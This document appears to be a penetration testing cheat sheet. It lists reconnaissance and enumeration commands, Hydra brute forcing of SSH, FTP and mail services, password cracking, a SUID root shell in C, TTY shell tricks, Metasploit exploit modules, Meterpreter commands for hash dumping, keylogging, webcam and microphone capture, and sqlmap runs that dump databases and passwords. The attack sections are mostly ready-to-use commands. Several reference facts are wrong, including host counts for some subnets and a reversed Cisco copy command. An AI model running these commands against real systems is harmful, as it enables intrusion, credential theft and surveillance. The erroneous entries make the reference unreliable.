Penetration Testing Cheat Sheet 🕵️‍♂️

Welcome to the Penetration Testing Cheat Sheet! This comprehensive guide provides quick references, commands, and techniques for various aspects of penetration testing. Whether you're a beginner or an experienced pentester, this cheat sheet has got you covered.

:mag: Recon and Enumeration

Explore tools and methods for reconnaissance and enumeration to gather valuable information about your target.

• NMAP Commands
• SMB Enumeration
• Other Host Discovery Methods

:computer: Python Local Web Server

Set up a Python local web server for various purposes, including hosting payloads and files.

• Python Local Web Server

:file_folder: Mounting File Shares

Learn how to mount file shares for easy access and interaction.

• Mounting File Shares

:point_right: Basic FingerPrinting

Understand basic fingerprinting techniques to gather information about target systems.

• Basic FingerPrinting

:satellite: SNMP Enumeration

Discover SNMP services and gather information using SNMP enumeration.

• SNMP Enumeration

:globe_with_meridians: DNS Zone Transfers

Perform DNS zone transfers to gather information about DNS records.

• DNS Zone Transfers

:mag_right: DNSRecon

Utilize DNSRecon for efficient DNS information gathering.

• DNSRecon

:globe_with_meridians: HTTP / HTTPS Webserver Enumeration

Learn how to enumerate information from HTTP/HTTPS webservers.

• HTTP / HTTPS Webserver Enumeration

:traffic_light: Packet Inspection

Inspect network packets and analyze traffic for security assessment.

• Packet Inspection

:busts_in_silhouette: Username Enumeration

Enumerate usernames through SMB and SNMP services.

• SMB User Enumeration
• SNMP User Enumeration

:key: Passwords

Explore wordlists and resources for password-related tasks.

• Wordlists

:shield: Brute Forcing Services

Learn about Hydra and its capabilities for brute forcing various services.

• Hydra

:lock: Password Cracking

Explore password cracking tools and techniques.

• John The Ripper - JTR
• Hashcat

:mag_right: Exploit Research

Discover techniques and resources for researching and identifying exploits.

• Exploit Research

:wrench: Compiling Exploits

Learn how to identify and compile exploits for various systems.

• Identifying if C code is for Windows or Linux
• Build Exploit GCC
• GCC Compile 32Bit Exploit on 64Bit Kali
• Compile Windows .exe on Linux

:key: SUID Binary

Understand SUID binaries and their role in privilege escalation.

• SUID C Shell for /bin/bash
• SUID C Shell for /bin/sh
• Building the SUID Shell binary

:shell: TTY Shells

Spawn TTY shells for various programming languages.

• Python TTY Shell Trick
• Spawn Interactive sh shell
• Spawn Perl TTY Shell
• Spawn Ruby TTY Shell
• Spawn Lua TTY Shell
• Spawn TTY Shell from Vi
• Spawn TTY Shell from NMAP
• Spawn TTY Shell from awk
• Spawn TTY Shell from socat

:space_invader: Metasploit

Explore Metasploit and its functionalities.

• Meterpreter Payloads
• Meterpreter Cheat Sheet
• Common Metasploit Modules

:repeat: Networking

Understand networking concepts for penetration testing.

• TTL Fingerprinting

:globe_with_meridians: IPv4

Learn about IPv4 addressing and subnets.

• Classful IP Ranges
• IPv4 Private Address Ranges
• IPv4 Subnet Cheat Sheet

:1234: ASCII Table Cheat Sheet

Quickly reference ASCII values and characters.

• ASCII Table Cheat Sheet

:satellite: Cisco IOS Commands

Explore common Cisco IOS commands for network assessment.

• Cisco IOS Commands

---

🕵️ Recon and Enumeration

🌐 NMAP Commands

Nmap (“Network Mapper”) is a free and open-source utility for network discovery and security auditing. It's a versatile tool used by both systems and network administrators for tasks like network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.

Command	Description
nmap -v -sS -A -T4 target	Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services.
ping sweep sudo nmap -pn target	Does a ping sweep over the target's network to see all the available IPs.
nmap -v -sS -p–A -T4 target	As above but scans all TCP ports (takes a lot longer).
nmap -v -sU -sS -p- -A -T4 target	As above but scans all TCP ports and UDP scan (takes even longer).
nmap -v -p 445 –script=smb-check-vulns --script-args=unsafe=1 192.168.1.X	Nmap script to scan for vulnerable SMB servers.
nmap localhost	Displays all the ports that are currently in use.
ls /usr/share/nmap/scripts/* | grep ftp	Search nmap scripts for keywords.

📂 SMB Enumeration

In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports.

Command	Description
nbtscan 192.168.1.0/24	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain.
enum4linux -a target-ip	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing.
smbclient -L target-ip	Lists all SMB shares available on the target machine.
smbget -R smb://target-ip/share	Recursively downloads files from an SMB share.
rpcclient -U "" target-ip	Connects to an SMB server using an empty username and lists available commands.
showmount -e target-ip	Shows the available shares on the target machine, useful for NFS.
smbmap -H target-ip	Shows share permissions of the target.
smbstatus	Lists current Samba connections. Useful when run on the target machine.

🌐 Other Host Discovery Methods

Other methods of host discovery that don’t use Nmap.

Command	Description
netdiscover -r 192.168.1.0/24	Discovers IP, MAC Address and MAC vendor on the subnet from ARP.
arp-scan --interface=eth0 192.168.1.0/24	ARP scan to discover hosts on the local network.
fping -g 192.168.1.0/24	Sends ICMP echo requests to multiple hosts to check if they are alive.
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000	Scans all ports at a high rate, useful for initial discovery.

🐍 Python Local Web Server

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Command	Description
python -m SimpleHTTPServer 80	Run a basic HTTP server, great for serving up shells etc.
python3 -m http.server 80	Run a basic HTTP server using Python 3.
python -m SimpleHTTPServer 80 --bind 192.168.1.2	Bind the server to a specific IP address.

🗄️ Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command	Description
mount 192.168.1.1:/vol/share /mnt/nfs	Mount NFS share to /mnt/nfs.
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs	Mount Windows CIFS / SMB share on Linux at /mnt/cifs.
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no	Mount a Windows share on Windows from the command line.
apt-get install smb4k -y	Install smb4k on Kali, useful Linux GUI for browsing SMB shares.
smbclient -L //192.168.1.X -U username	List SMB shares available on a Windows machine.

🕵️ Basic FingerPrinting

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification.

Command	Description
nc -v 192.168.1.1 25	Basic versioning / fingerprinting via displayed banner.
telnet 192.168.1.1 25	Another method for basic versioning / fingerprinting.
curl -I http://192.168.1.1	Fetch HTTP headers for fingerprinting the web server.
nmap -O 192.168.1.1	Perform OS detection using Nmap.
whatweb 192.168.1.1	Identify web technologies in use on the target.

📡 SNMP Enumeration

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system.

Command	Description
snmpcheck -t 192.168.1.X -c public	SNMP enumeration
snmpwalk -c public -v1 192.168.1.X 1	SNMP enumeration
snmpenum -t 192.168.1.X	SNMP enumeration
onesixtyone -c names -i hosts	SNMP enumeration
snmpbulkwalk -v2c -c public -Cn0 -Cr10 192.168.1.X	Bulk SNMP enumeration

🌐 DNS Zone Transfers

Command	Description
nslookup -> set type=any -> ls -d blah.com	Windows DNS zone transfer
dig axfr blah.com @ns1.blah.com	Linux DNS zone transfer
host -l blah.com ns1.blah.com	Another Linux DNS zone transfer method

📡 DNSRecon

DNSRecon provides the ability to perform various DNS enumeration tasks.

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

🌐 HTTP / HTTPS Webserver Enumeration

Command	Description
nikto -h 192.168.1.1	Perform a nikto scan against target
dirbuster	Configure via GUI, CLI input doesn’t work most of the time
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt	Directory brute forcing with gobuster
wpscan --url http://192.168.1.1	WordPress vulnerability scanner
joomscan -u http://192.168.1.1	Joomla vulnerability scanner
uniscan -u http://192.168.1.1 -qweds	Uniscan automated vulnerability scanner
curl -I http://192.168.1.1	Fetch HTTP headers using curl
nmap -p80 --script http-enum 192.168.1.1	Nmap script for HTTP enumeration
whatweb http://192.168.1.1	Identify technologies used on the website
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ	Fuzzing HTTP with wfuzz

📦 Packet Inspection

Command	Description
tcpdump tcp port 80 -w output.pcap -i eth0	Capture packets on port 80
`tcpdump -i eth0 'port 443 and (tcp-syn	tcp-ack)!=0'`
wireshark -k -i <interface>	Open Wireshark on a specific interface
tshark -i eth0 -f "tcp port 80"	Capture packets with tshark on port 80

👤 Username Enumeration

SMB User Enumeration

Command	Description
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX	Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt	RID cycle SMB / enumerate users from SMB
enum4linux -U 192.168.XXX.XXX	Enumerate SMB usernames using enum4linux

SNMP User Enumeration

Command	Description
`snmpwalk public -v1 192.168.X.XXX 1	grep 77.1.2.25
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX	Enumerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt	Search for SNMP servers with nmap, grepable output

🔒 Passwords

Wordlists

Command	Description
/usr/share/wordlists	Kali word lists
wget https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt	Download a popular wordlist from GitHub

🛠️ Brute Forcing Services

Hydra

FTP Brute Force

Command	Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V	Hydra FTP brute force

POP3 Brute Force

Command	Description
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V	Hydra POP3 brute force

SMTP Brute Force

Command	Description
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V	Hydra SMTP brute force

SSH Brute Force

Command	Description
hydra -l root -P /usr/share/wordlistsnmap.lst 192.168.X.XXX ssh	Hydra SSH brute force

Use -t to limit concurrent connections, example: -t 15

🔐 Password Cracking

John The Ripper – JTR

Command	Description
john –wordlist=/usr/share/wordlists/rockyou.txt hashes	JTR password cracking
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt	JTR forced descrypt cracking with wordlist
john –format=descrypt hash –show	JTR forced descrypt brute force cracking

Hashcat

Command	Description
hashcat -m 0 -a 0 hash.txt wordlist.txt	Hashcat MD5 cracking
hashcat -m 1000 -a 0 hash.txt wordlist.txt	Hashcat NTLM cracking

Exploit Research

Command	Description
`searchsploit windows 2003	grep -i local`
site:exploit-db.com exploit kernel <= 3	Google search for kernel exploits on exploit-db.com
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*	Search Metasploit modules for Windows 7 exploits
msfconsole -q -x "search name:windows type:exploit"	Search Metasploit for Windows exploits

Compiling Exploits

Identifying if C code is for Windows or Linux

Header Files	OS
process.h, string.h, winbase.h, windows.h, winsock2.h	Windows
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h	Linux

Build Exploit GCC

Command	Description
gcc -o exploit exploit.c	Basic GCC compile
gcc -Wall -Wextra exploit.c -o exploit	Compile with all warnings and extras

GCC Compile 32Bit Exploit on 64Bit Kali

Command	Description
gcc -m32 exploit.c -o exploit	Cross compile 32-bit binary on 64-bit Linux

Compile Windows .exe on Linux

Command	Description
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe	Compile Windows .exe on Linux
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe	Compile 64-bit Windows .exe on Linux

SUID Binary

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Building the SUID Shell binary

Command	Description
gcc -o suid suid.c	Compile the SUID shell
gcc -m32 -o suid suid.c	Compile the 32-bit SUID shell

TTY Shells

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

perl -e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

ruby -e 'exec "/bin/sh"'

Spawn Lua TTY Shell

lua -e 'os.execute("/bin/sh")'

Spawn TTY Shell from Vi

:!bash

Spawn TTY Shell from NMAP

!sh

Spawn TTY Shell from awk

awk 'BEGIN {system("/bin/sh")}'

Spawn TTY Shell from socat

socat file:tty,raw,echo=0 tcp-listen:4444

Metasploit

Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpreter/reverse_tcp

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Linux Reverse Meterpreter payload

set payload linux/meterpreter/reverse_tcp

Android Reverse Meterpreter payload

set payload android/meterpreter/reverse_tcp

Meterpreter Cheat Sheet

Command	Description
upload file c:\\windows	Upload file to Windows target
download c:\\windows\\repair\\sam /tmp	Download file from Windows target
execute -f c:\\windows\temp\exploit.exe	Run .exe on target
execute -f cmd -c	Creates new channel with cmd shell
ps	Show processes
shell	Get shell on the target
getsystem	Attempts privilege escalation on the target
hashdump	Dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target	Create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target	Delete port forward
screenshot	Capture screenshot of the target machine
keyscan_start	Start keylogger
keyscan_dump	Dump collected keystrokes
webcam_snap	Take webcam snapshot
record_mic	Record microphone
enum_chrome	Enumerate Chrome browser data

:computer: Common Metasploit Modules

:closed_lock_with_key: Remote Windows Metasploit Modules (exploits)

Command	Description
use exploit/windows/smb/ms08_067_netapi	MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi	MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index	MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
use exploit/windows/smb/ms17_010_eternalblue	MS17_010 EternalBlue SMB Remote Windows Kernel Pool Corruption

:key: Local Windows Metasploit Modules (exploits)

Command	Description
use exploit/windows/local/bypassuac	Bypass UAC on Windows 7 + Set target + arch, x86/64
use exploit/windows/local/ms10_015_kitrap0d	MS10_015 Kitrap0d Local Privilege Escalation

:mag: Auxilary Metasploit Modules

Command	Description
use auxiliary/scanner/http/dir_scanner	Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan	Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login	Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version	Metasploit MySQL Version Scanner
use auxiliary/scanner/oracle/oracle_login	Metasploit Oracle Login Module

:shell: Metasploit Powershell Modules

Command	Description
use exploit/multi/script/web_delivery	Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell	Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer	Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload	Metasploit MSSQL payload

:wrench: Post Exploit Windows Metasploit Modules

Command	Description
run post/windows/gather/win_privs	Metasploit show privileges of current user
use post/windows/gather/credentials/gpp	Metasploit grab GPP saved passwords
load mimikatz -> wdigest	Metasploit load Mimikatz
run post/windows/gather/local_admin_search_enum	Identify other machines that the supplied domain user has administrative access to

:satellite: Networking

:signal_strength: TTL Fingerprinting

Operating System	TTL Size
Windows	128
Linux	64
Solaris	255
Cisco / Network	255

IPv4 :earth_americas:

Classful IP Ranges :chart_with_upwards_trend:

Note: Class A, B, C are deprecated

Class	IP Address Range
Class A :one:	0.0.0.0 – 127.255.255.255
Class B :two:	128.0.0.0 – 191.255.255.255
Class C :three:	192.0.0.0 – 223.255.255.255
Class D :four:	224.0.0.0 – 239.255.255.255
Class E :five:	240.0.0.0 – 255.255.255.255

IPv4 Private Address Ranges :lock:

Class	Range
Class A :one:	10.0.0.0 – 10.255.255.255
Class B :two:	172.16.0.0 – 172.31.255.255
Class C :three:	192.168.0.0 – 192.168.255.255
Loopback :repeat:	127.0.0.0 – 127.255.255.255

IPv4 Subnet Cheat Sheet :memo:

CIDR	Decimal Mask	Number of Hosts
/31	255.255.255.254	1 Host
/30	255.255.255.252	2 Hosts
/29	255.255.255.248	6 Hosts
/28	255.255.255.240	14 Hosts
/27	255.255.255.224	30 Hosts
/26	255.255.255.192	62 Hosts
/25	255.255.255.128	126 Hosts
/24	255.255.255.0	254 Hosts
/23	255.255.254.0	512 Hosts
/22	255.255.252.0	1022 Hosts
/21	255.255.248.0	2046 Hosts
/20	255.255.240.0	4094 Hosts
/19	255.255.224.0	8190 Hosts
/18	255.255.192.0	16382 Hosts
/17	255.255.128.0	32766 Hosts
/16	255.255.0.0	65534 Hosts
/15	255.254.0.0	131070 Hosts
/14	255.252.0.0	262142 Hosts
/13	255.248.0.0	524286 Hosts
/12	255.240.0.0	1048674 Hosts
/11	255.224.0.0	2097150 Hosts
/10	255.192.0.0	4194302 Hosts
/9	255.128.0.0	8388606 Hosts
/8	255.0.0.0	16777214 Hosts

ASCII Table Cheat Sheet :keyboard:

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII	Character	ASCII	Character	ASCII	Character	ASCII	Character
x00	Null Byte	x08	BS	x09	TAB	x0a	LF
x0d	CR	x1b	ESC	x20	SPC	x21	!
x22	"	x23	#	x24	$	x25	%
x26	&	x27	`	x28	(	x29	)
x2a	*	x2b	+	x2c	,	x2d	-
x2e	.	x2f	/	x30	0	x31	1
x32	2	x33	3	x34	4	x35	5
x36	6	x37	7	x38	8	x39	9
x3a	:	x3b	;	x3c	<	x3d	=
x3e	>	x3f	?	x40	@	x41	A
x42	B	x43	C	x44	D	x45	E
x46	F	x47	G	x48	H	x49	I
x4a	J	x4b	K	x4c	L	x4d	M
x4e	N	x4f	O	x50	P	x51	Q
x52	R	x53	S	x54	T	x55	U
x56	V	x57	W	x58	X	x59	Y
x5a	Z	x5b	[	x5c	\	x5d	]
x5e	^	x5f	_	x60	`	x61	a
x62	b	x63	c	x64	d	x65	e
x66	f	x67	g	x68	h	x69	i
x6a	j	x6b	k	x6c	l	x6d	m
x6e	n	x6f	o	x70	p	x71	q
x72	r	x73	s	x74	t	x75	u
x76	v	x77	w	x78	x	x79	y
x7a	z

Cisco IOS Commands :computer:

Command	Description
enable	Enters enable mode
conf t	Short for, configure terminal
(config)# interface fa0/0	Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255	Add IP to fa0/0
(config-if)# line vty 0 4	Configure vty line
(config-line)# login	Cisco set telnet password
(config-line)# password YOUR-PASSWORD	Set telnet password
# show running-config	Show running config loaded in memory
# show startup-config	Show startup config
# show version	Show Cisco IOS version
# show session	Display open sessions
# show ip interface	Show network interfaces
# show interface e0	Show detailed interface info
# show ip route	Show routes
# show access-lists	Show access lists
# dir file systems	Show available files
# dir all-filesystems	File information
# dir /all	Show deleted files
# terminal length 0	No limit on terminal output
# copy running-config tftp	Copies running config to tftp server
# copy running-config startup-config	Copy startup-config to running-config

Cryptography :lock:

Hash Lengths

Hash	Size
MD5	16 Bytes
SHA-1	20 Bytes
SHA-256	32 Bytes
SHA-512	64 Bytes

Hash Examples

Hash	Example
MD5 Hash Example	8743b52063cd84097a65d1633f5c74f5
SHA1 Hash Example	b89eaac7e61417341b710b727768294d0e6a277b
SHA-256	127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-512	82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f

SQLMap Examples :bug:

Command	Description
sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3	Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read="/var/www/blah.php"	Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1" –dbms=mysql –tech=U –random-agent –dump	Scan URL for union + error-based injection with MySQL backend and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" –forms	SQLMap check form for injection
sqlmap -o -u "http://meh/vuln-form" –forms -D database-name -T users –dump	SQLMap dump and crack hashes for table users on database-name